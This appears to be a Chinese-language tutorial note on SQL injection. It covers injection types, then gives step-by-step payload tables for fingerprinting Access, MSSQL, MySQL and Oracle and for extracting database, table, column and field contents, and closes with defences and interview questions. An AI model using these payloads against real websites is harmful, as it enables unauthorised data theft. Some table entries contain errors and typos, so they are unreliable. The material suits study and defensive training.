SQL注入是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。
總結一句話:SQL注入實質就是閉合前一句查詢語句,構造惡意語句,惡意語句被代入SQL語句執行。
目錄
sql注入分類
手工注入的攻擊步驟
防御
sql注入分類
按數據類型分類
數字型
后台語句可能為:
$id=$_POST['id']
select user,password from users where id=$id
字符型
后台語句可能為:
$id=$_POST['id']
select user,password from users where id='$id'
區別和聯系
數字類型直接將后台接收到用戶輸入的內容帶入到數據庫中執行;而字符型將接收到的內容添加到引號內然后進行執行。
字符型注入需要考慮語句的閉合問題,而數字類型則不存在
按注入位置分
GET方式注入
注入參數以GET方式進行提交
POST方式注入
注入參數以POST方式進行提交
基於cookie的注入
后台接收cookie內的參數,在http的cookie字段中存在注入漏洞
基於http頭部的注入
后台會接收referer或user-agent字段中的參數,http頭部中的referer、user-agent字段中存在注入漏洞
盲注
基於UNION的注入
首先通過order by 進行判斷查詢參數的數目,然后構造union查詢,查看回顯。有時需要將前面參數名修改為假的參數。如id=-1’ union select 1,2,3 查找頁面中1,2,3的位置,在頁面中顯示的數字的地方構造查詢的內容。若頁面無回顯但報錯可以嘗試報錯注入
基於布爾的盲注
特點:網站頁面在輸入條件為true和false的情況下會顯示不同,但頁面中沒有輸出。此時需要在SQL語句之后添加條件判斷。
猜解思路:
猜解數據庫:先構造條件判斷當前數據庫的名字長度,然后逐字猜解數據庫名。
猜解數據表:先構造條件判斷數據表的數量,然后逐個進行猜解,先猜解表名長度然后逐字猜解表名。
猜解數據列:指定數據庫中的指定表進行猜解字段,首先猜解字段的數目,然后逐個猜解字段
猜解內容:指定數據列,先查詢數據的條數,然后逐條猜解其中的內容
基於報錯的注入
常用函數:
updatexml(1,concat('~',SQL語句,'~'),1)
extractvalue(1,concat('~',(SQL語句)))
基於時間的盲注
特點:網站頁面在輸入條件為真和為假返回的頁面相同,但通過延時函數構造語句,可通過頁面響應時間的不同判斷是否存在注入
猜解思路:
類似基於布爾的盲注,只是將條件為真轉換為延時響應
常用函數
if(condition,A,B):若condition返回真則執行A,假則執行B
substr(str,A,B):字符串截取函數,截取str字符串從A位置開始,截取B個字符
left(str,A):類似字符串截取函數,返回str字符串從左往右數的A個字符
count(A):計算A的數目,常用與查詢數據表、數據列、數據內容的條數
len(A):計算A的長度,常用於返回數據庫名、數據表名、數據列名的長度
ascii(A):返回A的ascii碼,當逐字猜解限制單引號的輸入時,可以通過查詢ascii碼來繞過
寬字節注入
寬字節注入的原理即為數據庫的編碼與后台程序的編碼不一致,數據庫中一個字符占兩個字節,而后台程序為一個字符占一個字節,當后台程序對輸入的單引號的字符進行轉義時,通過在這些轉義的字符前輸入%bf然后將%bf’帶入后台程序時會轉義為%bf’,此時帶入數據庫中,數據庫將%bf\看作是一個中文字符從而使用單引號將SQL語句進行閉合。
還有一些少見的注入,比如二次注入,base64加密注入等,以后再整理進去
手工注入的攻擊步驟
(這里語句太多了,我還是去復制黏貼一下別人的博客吧)
1、確認目標參數
我們首先要確定要測試哪些參數。在以前參數還是比較容易確定的,比如前面說的http://example.com/app/accountView?id=1,問號后邊的參數大多是動態參數。
但現在都講restful,所以首先參數並不一定在問號后邊,比如url可能變成http://example.com/app/accountView/1/這樣的;其次大多參數都是post的,所以目標要從url更多轉移到post數據上。
2、確認動態參數
動態參數就是帶入數據庫的參數,很多參數是不帶入數據庫的而只有帶入數據庫的參數才有可能導致sql注入,所以我們需要確認哪些參數是動態參數。
沒具體去分析sqlmap等工具是怎么確定一個參數是不是動態參數,我們可以使用前面說的單引號法和1=1/1=2法,如果參數有過濾不能注入那我們權當他不是動態參數也一樣的。
3、爆出數據庫類型
因為雖然數據庫都兼容sql92但不同的數據庫其具有的系統庫表和擴展功能都是不一樣的,這導致我們后續查詢庫名、表名、列名具體注入語句會隨數據庫的不同而有差異,所以首先要確認服務端使用的是什么數據庫,是oracle還是mysql還是其他。
和檢測操作系統等類似,判斷是什么數據庫也是用“指紋”的形式,數據庫的指紋就是數據庫支持的注釋符號、系統變量、系統函數、系統表等,所以應該可以整理出更多的檢測語句。
數據庫 | 注入語句 |
原理 | 用處 |
access | and user>0 | user是mssql內置變量,類型為nvarchar;nvarchar與int比較會報錯 | msqql和access報錯不一樣可區分數據庫是mssql還是access |
mssql | and (select count(*) from sysobjects) >= 0 and (select count(*) from msysobjects) >= 0 |
mssql存在sysobjects不存在msysobjects,上句不會報錯下句會報錯 access不存在sysobjects存在msysobjects,上句會報錯下句不會報錯 |
可用於確認數據庫是mssql還是access |
mysql | select @@version select database() |
@@version是mysql的內置變量 database()是mysql的內置函數 |
如果返回正常則說明是oracle |
oracle | and exists(select * from dual) and (select count(*) from user_tables)>0 -- |
dual和user_tables是oracle的系統表 | 如果返回正常則說明是oracle |
multl | /* -- ; |
mysql支持的注釋 mssql和oracle支持的注釋 oracle不支持多行 |
報錯說明不是mysql 不報錯可能是mssql或oracle 報錯極有可能是oracle |
4、爆出數據庫名
數據庫 | 注入語句 | 說明 |
access | access一個數據庫對應一個文件,獲取文件名沒有很大意義 | |
mssql | and db_name() = 0 and db_name(n) > 0 |
從返回的報錯信息中可獲取當前數據庫名 返回的報錯信息中有第n個數據庫的庫名 |
mysql | and 1=2 union select 1,database()/* and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1 select group_concat(schema_name) from information_schema.schemata |
爆出當前數據庫名 n為幾就返回第幾個數據庫的庫名返回空就表示沒有更多數據庫了 返回所有數據庫名 |
oracle | and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一庫名'),4,5... from dual |
返回第一個庫名 返回當前用戶所擁有的下一庫名 |
5、猜解數據庫表名
數據庫 | 注入語句 | 說明 |
access | and exists(select * from table_name) and (select count(*) from table_name) >= 0 |
不斷測試table_name 如果返回正常那說明該表存在 |
mssql | and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 -- and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0-- and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) -- |
可爆出當前數據庫表的數量 n為幾就輸出第幾張表的表名 n為幾就輸出db_name庫第幾張表的表名 |
mysql | and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1-- select group_concat(table_name) from information_schema.tables where table_schema=database() |
n為幾就返回當前第幾張表的表名 返回當前庫的所有表名 |
oracle | and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual |
返回第一個表名 返回下一個表名 返回包含pass的表名 |
6、猜解字段名
數據庫 | 注入語句 | 說明 |
access | and exists(select column_name from table_name) and (select count(column_name) from table_name) >=0 |
table_name使用上一步得到的表名,不斷試column_name 如果返回正常則說明該字段存在 |
mssql | having 1=1 -- group by 字段名1 having 1=1 -- group by 字段名1,字段名2 having 1=1 -- |
可獲取表名和第一個字段名 可以得到第二個字段名 可以得到第三個字段名 |
mysql | and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1-- select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name |
ascii_table_name表示要查的表的表句的十六進制型示n為幾就返回第幾字段的字段名 返回指定表名的所有字段 |
oracle | and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual |
返回第一個字段名 返回下一個字段名 |
7、猜解字段值
獲取字段內容,各數據庫的方法是比較通用的,當然也有一些自己特色的獲取方法我這里就不管了
方法一:逐字節猜解法
首先猜解出字段長度,然后再逐字節猜解。
and (select top 1 len(column_name) from table_name > 1
and (select top 1 len(column_name) from table_name > 2
..
and (select top 1 len(column_name) from table_name > n-1
and (select top 1 len(column_name) from table_name > n
當n-1正常n錯誤時說明字段長度為n(二分法快一些)
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 1
..
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n-1
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n
n-1正常n錯誤時說明字段值第一位ascii碼值為n,再使用mid(cloumn_name,2,1)等繼續猜解后續各個位直至n即可
方法二:union select法
上邊的逐字節猜解法是相當費勁的,使用union select能更快捷地獲取字段值。
由於union select要求兩邊的select返回的select字段數要一樣,所以首先使用order by猜解前邊select返回結果的字段數:
order by 1
order by 2
...
order by n-1
order by n
n-1正常,n報錯時說明原先select字段數為n
然后使用union select查出表中內容
and 1=2 union select 1,2...,n from table_name----and 1=2是為了使原本的select結果為空,頁面中出現數字x說明該處是顯示的是第x字段的結果將x替換為字段名該處即會呈現該字段的內容
and 1=2 union select 1,2..,column_name..,n from table_name----上邊的x替換成column_name,頁面中x處即會顯示column_name字段的內容
防御
代碼層面
1、對用戶輸入的內容進行轉義(PHP中addslashes()、mysql_real_escape()函數)。
2、限制關鍵字的輸入(PHP中preg_replace()函數正則替換關鍵字),限制輸入的長度 。
3、使用SQL語句預處理,對SQL語句首先進行預編譯,然后進行參數綁定,最后傳入參數。
4、所有的查詢語句都使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到 SQL 語句中。
5、數據長度應該嚴格規定。
6、網站每個數據層的編碼統一。
網絡層面
1、部署防火牆
2、升級 web 服務器運行平台軟件補丁,建議使用 WAF 防護。
面試題:
如何進行SQL注入的防御
-
關閉應用的錯誤提示
-
加waf
-
對輸入進行過濾
-
限制輸入長度
-
限制好數據庫權限,drop/create/truncate等權限謹慎grant
-
預編譯好sql語句,python和Php中一般使用?作為占位符。這種方法是從編程框架方面解決利用占位符參數的sql注入,只能說一定程度上防止注入。還有緩存溢出、終止字符等。
-
數據庫信息加密安全(引導到密碼學方面)。不采用md5因為有彩虹表,一般是一次md5后加鹽再md5
-
清晰的編程規范,結對/自動化代碼 review ,加大量現成的解決方案(PreparedStatement,ActiveRecord,歧義字符過濾, 只可訪問存儲過程 balabala)已經讓 SQL 注入的風險變得非常低了。
-
具體的語言如何進行防注入,采用什么安全框架
參考: